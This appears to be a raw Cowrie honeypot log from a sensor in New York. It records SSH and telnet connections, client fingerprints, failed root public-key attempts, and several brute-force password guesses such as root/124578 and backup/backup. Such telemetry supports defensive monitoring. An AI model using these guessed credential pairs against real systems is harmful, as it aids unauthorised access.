{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:a8:ec:5f:95:d0:d9:e3:38:74:3c:58:4f:7e:8a:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbXRnb+JFRF3+/Ag0OSBbw+rMupIPYQd3I8RrTy1ltVvp8JJ+ylFbvRX1GfrhVC3S33cwD9tsytzqBiUraf3s3fGOieyCVoLpgJQADHecsVUXCf88tLqJ48wKZVscp25/FLhPAWlX9NK0eUwTumFIBtNv8fmBJK8du4VMnrXSYcZX8M+GXwDX8B/VL71MdtXFUBdbaVpCGRSLM8Mxrb+ORmD6kEPjXxSZCgqV9H//id675clb/BukU1Z8f4aRYGy1H27rDOV17+p2DUoaPzr3XBlKkT4TljQOkQxt6MJzbZatwVDeQRY1Ne4nyB3HUXKsmr5qTQkDJw2CqdaNSe+3d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:a8:ec:5f:95:d0:d9:e3:38:74:3c:58:4f:7e:8a:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.153182Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:a8:ec:5f:95:d0:d9:e3:38:74:3c:58:4f:7e:8a:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbXRnb+JFRF3+/Ag0OSBbw+rMupIPYQd3I8RrTy1ltVvp8JJ+ylFbvRX1GfrhVC3S33cwD9tsytzqBiUraf3s3fGOieyCVoLpgJQADHecsVUXCf88tLqJ48wKZVscp25/FLhPAWlX9NK0eUwTumFIBtNv8fmBJK8du4VMnrXSYcZX8M+GXwDX8B/VL71MdtXFUBdbaVpCGRSLM8Mxrb+ORmD6kEPjXxSZCgqV9H//id675clb/BukU1Z8f4aRYGy1H27rDOV17+p2DUoaPzr3XBlKkT4TljQOkQxt6MJzbZatwVDeQRY1Ne4nyB3HUXKsmr5qTQkDJw2CqdaNSe+3d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.158475Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:41:67:9f:a3:4a:11:05:b6:f8:76:38:64:5d:36:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZEnnWH9hFEHDssmYMkwAvoEAnHkgD5EknZZUHZU8G53T5kRnscWARPyq0c/11F/Rje5/8ro6ei1eJWfP1D7P0zy8zH05VTsm3CzIyTrkWmCemJGf8INGJ22dpqdG30Pi9WAvDq5hBKP+Lpno54bhd7BSpSzClMChPgicstxXwh1u7m433NUpgXeJTcK/2tUrvl5aSEhdWQo6hLy5HBjrDSd4A3pThJsyaNolyyFFdkw1Pj8PpPFSzf29TgEYHt2yIm6AFn9kYzUEDOjv3bThwWxjrVmmXeU/8iEmxPOoWoM5WDD/An6svt6UjJms7ZVDtPe672mt44DeJr5AJKNMp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:41:67:9f:a3:4a:11:05:b6:f8:76:38:64:5d:36:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.189919Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:41:67:9f:a3:4a:11:05:b6:f8:76:38:64:5d:36:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZEnnWH9hFEHDssmYMkwAvoEAnHkgD5EknZZUHZU8G53T5kRnscWARPyq0c/11F/Rje5/8ro6ei1eJWfP1D7P0zy8zH05VTsm3CzIyTrkWmCemJGf8INGJ22dpqdG30Pi9WAvDq5hBKP+Lpno54bhd7BSpSzClMChPgicstxXwh1u7m433NUpgXeJTcK/2tUrvl5aSEhdWQo6hLy5HBjrDSd4A3pThJsyaNolyyFFdkw1Pj8PpPFSzf29TgEYHt2yIm6AFn9kYzUEDOjv3bThwWxjrVmmXeU/8iEmxPOoWoM5WDD/An6svt6UjJms7ZVDtPe672mt44DeJr5AJKNMp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.193965Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:74:02:db:b5:7c:6f:55:c8:23:cd:cb:f0:a2:a8:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrTRFbudeJn99LR9zssjz8/+1K3RLITT6EKPhHZo9YAex9TLmwv2lvMueIOot7olaUBv8buAMqIfVQ/V6XlMcbDN+JbzyCsf0o5rTlFG/sg/qSRxw0gSZ5TU8KKJuu+enZJ59nHf8CvTPhZ1wwqw/epjdyUPGnvbRc0wQ/a7zhhUS0igxALuK+Ajs+0qqyO42sss/eCQJ+03wmlj+6+sWU1R8Qe/s4YXPbqCTJuG2ycvJLRRPQAAGhXWhoYfVDqv6WdBcL52gIL/1pKdJEty/X7B7Z1ApOJAIBbUnxkN2O4Swmpbm4ray3KjHFK30jpD9jgqqD20XCnoAk1voUSnDZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:74:02:db:b5:7c:6f:55:c8:23:cd:cb:f0:a2:a8:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.227707Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:74:02:db:b5:7c:6f:55:c8:23:cd:cb:f0:a2:a8:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrTRFbudeJn99LR9zssjz8/+1K3RLITT6EKPhHZo9YAex9TLmwv2lvMueIOot7olaUBv8buAMqIfVQ/V6XlMcbDN+JbzyCsf0o5rTlFG/sg/qSRxw0gSZ5TU8KKJuu+enZJ59nHf8CvTPhZ1wwqw/epjdyUPGnvbRc0wQ/a7zhhUS0igxALuK+Ajs+0qqyO42sss/eCQJ+03wmlj+6+sWU1R8Qe/s4YXPbqCTJuG2ycvJLRRPQAAGhXWhoYfVDqv6WdBcL52gIL/1pKdJEty/X7B7Z1ApOJAIBbUnxkN2O4Swmpbm4ray3KjHFK30jpD9jgqqD20XCnoAk1voUSnDZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.231256Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:73:55:a0:bc:84:6b:56:6d:a5:7a:06:d2:c9:20:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQc7lmhvc7c63cVhWLeiJg1bZSytFW78sYT1j7ETScybSQSk+cDKTNJI6jeGvoGa+8DZClaG3azpeIkEw4VRySGOfsWTd73vSToD2o5a8eCJSygokf52/voev93ojs7oYlofmdMJ049Egb6+KRHU8/1/oYpCbBPHNJo2CVPYIGXbXlS1cZb9v1yTCuNaNzj3BAbDStFAQ3ftGpwD4hO0+UXoUuLqRq2zRawxBVm7zlxBvUMxZ2MpKENe2Xk/tCnhYBJMeIKzA/KydzazFgXZLUiy+NYAO6qwMKfBoEnSUrpjaGewPqHvGzQL119MFSVcdjy7nZElOv4r9RPNMTHZIEsHK3FnG1IwpofH/3sH/L/r1drOy25C+NSM74A8REtICqzpbXfzNq7IbjM2UHEEr3TtmRR47t+XxpTUtSF9ggI7NgGe9jXVvg82RaDi9WWLr+DYElSiUyluig0Kw+RnbW0+j4b+zwyPMDlGBKN+2wY2iQAzH/9Dj7F2AdivD0oNL2zfB+nueGbsefkEu5JxiADuPsOFlAja/p7ek69H0Mp4Siyqy1Qlr9sW4xQFMHK/EElsbtPceAz136krzPa4umyvKz3dBJr0dE4KxGRT+w6oRrZsH4OVYefE1l3Ii8ZkXqkp0Iwgq9oZJDZZcf6V6QrwwaGQc54T0rQxQvrNUBrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:73:55:a0:bc:84:6b:56:6d:a5:7a:06:d2:c9:20:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.263587Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:73:55:a0:bc:84:6b:56:6d:a5:7a:06:d2:c9:20:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQc7lmhvc7c63cVhWLeiJg1bZSytFW78sYT1j7ETScybSQSk+cDKTNJI6jeGvoGa+8DZClaG3azpeIkEw4VRySGOfsWTd73vSToD2o5a8eCJSygokf52/voev93ojs7oYlofmdMJ049Egb6+KRHU8/1/oYpCbBPHNJo2CVPYIGXbXlS1cZb9v1yTCuNaNzj3BAbDStFAQ3ftGpwD4hO0+UXoUuLqRq2zRawxBVm7zlxBvUMxZ2MpKENe2Xk/tCnhYBJMeIKzA/KydzazFgXZLUiy+NYAO6qwMKfBoEnSUrpjaGewPqHvGzQL119MFSVcdjy7nZElOv4r9RPNMTHZIEsHK3FnG1IwpofH/3sH/L/r1drOy25C+NSM74A8REtICqzpbXfzNq7IbjM2UHEEr3TtmRR47t+XxpTUtSF9ggI7NgGe9jXVvg82RaDi9WWLr+DYElSiUyluig0Kw+RnbW0+j4b+zwyPMDlGBKN+2wY2iQAzH/9Dj7F2AdivD0oNL2zfB+nueGbsefkEu5JxiADuPsOFlAja/p7ek69H0Mp4Siyqy1Qlr9sW4xQFMHK/EElsbtPceAz136krzPa4umyvKz3dBJr0dE4KxGRT+w6oRrZsH4OVYefE1l3Ii8ZkXqkp0Iwgq9oZJDZZcf6V6QrwwaGQc54T0rQxQvrNUBrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.267328Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:cd:9a:d4:fd:6e:22:50:03:8f:4d:52:7b:72:25:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2csQ+FeuPNqTTj6NqQMw3rCqXjE//chtoCIvUmHv8bs51RRrWEzOO+6WGPZW6Mv8hhJBiKnF/txU+HIKX4/hTbM5kk3whaQHZ6GuYDhVbM7o3AJCDYLLwwUQc9oG11/GHXUaRXP6CRsE6Q8YW/kDSvovGcANc/nmOSKQPtDbOMP7i67Sy3+XwrjH73IRHe7Wx9HpPCl0N6aXuAt/CWh4/PyVTLsIpiqqDkBtFsFBhj/4RQWs+nYyKLNjMS0ZhglftMwlSKrATeOCULrlFs8zm1UCv+todTJWce9z4O7SDDo384tpaixLkqGGXFC4D93GTh7zOhon6EeYBLBQuv89Un5ILLK7LhEWTBM2i5jYd5bGk3fQa/cAcTQWW9FFIk9V9LKA4XN2h1nRun7/3dDFHTlqhaZ6BxHbi/2WgtqOKZnkjqFH4xlobWOOHeZh+lmypr0rajd7181X6XwxGLtxnrwSMhJswaowsJlCKGwaM3VCpTiLzbow1yMgIxDuNCcczPjclpkNy5FeOrBCHOLXOgLx7QXUsXdTBjEG+Pe3elT8cSF+B8wDFFJ438wy+Eo1HBRaJ/ClmZGHf3np0XILIuU8AvFUxs1lqvDuoS4v2B/qCkmYE4zBjA0YXSJOp+flJS+/5iUTd1sh4/e5tdTw/kDgQWKQ/Jm+AHftLaSTz6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:cd:9a:d4:fd:6e:22:50:03:8f:4d:52:7b:72:25:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.301050Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:cd:9a:d4:fd:6e:22:50:03:8f:4d:52:7b:72:25:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2csQ+FeuPNqTTj6NqQMw3rCqXjE//chtoCIvUmHv8bs51RRrWEzOO+6WGPZW6Mv8hhJBiKnF/txU+HIKX4/hTbM5kk3whaQHZ6GuYDhVbM7o3AJCDYLLwwUQc9oG11/GHXUaRXP6CRsE6Q8YW/kDSvovGcANc/nmOSKQPtDbOMP7i67Sy3+XwrjH73IRHe7Wx9HpPCl0N6aXuAt/CWh4/PyVTLsIpiqqDkBtFsFBhj/4RQWs+nYyKLNjMS0ZhglftMwlSKrATeOCULrlFs8zm1UCv+todTJWce9z4O7SDDo384tpaixLkqGGXFC4D93GTh7zOhon6EeYBLBQuv89Un5ILLK7LhEWTBM2i5jYd5bGk3fQa/cAcTQWW9FFIk9V9LKA4XN2h1nRun7/3dDFHTlqhaZ6BxHbi/2WgtqOKZnkjqFH4xlobWOOHeZh+lmypr0rajd7181X6XwxGLtxnrwSMhJswaowsJlCKGwaM3VCpTiLzbow1yMgIxDuNCcczPjclpkNy5FeOrBCHOLXOgLx7QXUsXdTBjEG+Pe3elT8cSF+B8wDFFJ438wy+Eo1HBRaJ/ClmZGHf3np0XILIuU8AvFUxs1lqvDuoS4v2B/qCkmYE4zBjA0YXSJOp+flJS+/5iUTd1sh4/e5tdTw/kDgQWKQ/Jm+AHftLaSTz6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.304543Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.337607Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.562789Z","src_ip":"8.218.166.49","session":"e138cc3ddfb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":48376,"dst_ip":"159.203.135.109","dst_port":22,"session":"6de3a884a25f","protocol":"ssh","message":"New connection: 88.147.30.59:48376 (159.203.135.109:22) [session: 6de3a884a25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:43.276314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:43.280836Z","src_ip":"88.147.30.59","session":"6de3a884a25f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:43.400969Z","src_ip":"88.147.30.59","session":"6de3a884a25f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578","message":"login attempt [root/124578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:43.922350Z","src_ip":"88.147.30.59","session":"6de3a884a25f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:45.051915Z","src_ip":"88.147.30.59","session":"6de3a884a25f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42598,"dst_ip":"10.17.0.5","dst_port":22,"session":"916874f20ffa","protocol":"ssh","message":"New connection: 8.218.166.49:42598 (10.17.0.5:22) [session: 916874f20ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:46.036427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:46.041676Z","src_ip":"8.218.166.49","session":"916874f20ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":50300,"dst_ip":"159.203.135.109","dst_port":22,"session":"95ba6ea52e43","protocol":"ssh","message":"New connection: 221.161.235.168:50300 (159.203.135.109:22) [session: 95ba6ea52e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:56.496483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:56.499571Z","src_ip":"221.161.235.168","session":"95ba6ea52e43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:56.692761Z","src_ip":"221.161.235.168","session":"95ba6ea52e43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stingray","message":"login attempt [root/stingray] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:57.500114Z","src_ip":"221.161.235.168","session":"95ba6ea52e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:58.698139Z","src_ip":"221.161.235.168","session":"95ba6ea52e43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":57124,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2050f98eb75","protocol":"telnet","message":"New connection: 142.93.69.27:57124 (10.17.0.5:23) [session: c2050f98eb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:01.191674Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53418,"dst_ip":"10.17.0.5","dst_port":22,"session":"43cc0b5032a3","protocol":"ssh","message":"New connection: 8.218.166.49:53418 (10.17.0.5:22) [session: 43cc0b5032a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:10.278370Z"}
{"eventid":"cowrie.session.closed","duration":120.00181794166565,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:10.801680Z","src_ip":"138.36.56.176","session":"1b4726ee158f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:11.589656Z","src_ip":"8.218.166.49","session":"43cc0b5032a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:11.593246Z","src_ip":"8.218.166.49","session":"43cc0b5032a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:13.488374Z","src_ip":"8.218.166.49","session":"43cc0b5032a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:15.284413Z","src_ip":"8.218.166.49","session":"43cc0b5032a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":32968,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e2aa162d6d0","protocol":"ssh","message":"New connection: 124.155.125.131:32968 (159.203.135.109:22) [session: 7e2aa162d6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:18.068804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:18.073558Z","src_ip":"124.155.125.131","session":"7e2aa162d6d0","protocol":"ssh"}
